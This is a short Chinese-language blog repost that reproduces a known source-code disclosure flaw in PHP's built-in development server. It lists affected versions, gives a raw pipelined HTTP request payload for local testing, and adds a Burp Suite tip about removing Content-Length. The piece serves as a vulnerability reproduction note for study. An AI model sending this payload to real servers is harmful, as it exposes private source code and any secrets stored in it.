英文原版文章地址:
https://blog.projectdiscovery.io/php-http-server-source-disclosure/
环境直接使用PHP study下载PHP,然后使用 -S 的方式启动服务测试
测试版本从 5.4.45nts - 8.0.2nts 都是可以成功读取到源码的
直接打payload,但是发现并没有读取到源码
GET /phpinfo.php HTTP/1.1
Host: 127.0.0.1
r
r
GET / HTTP/1.1
r
r
一个坑点,使用burp测试的时候要关掉自动填充Content-Length
勾选掉下面这一行
然后把Content-Length行删除掉再发包
页面更新:2024-04-01
本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828
© CopyRight 2020-2024 All Rights Reserved. Powered By 71396.com 闽ICP备11008920号-4
闽公网安备35020302034903号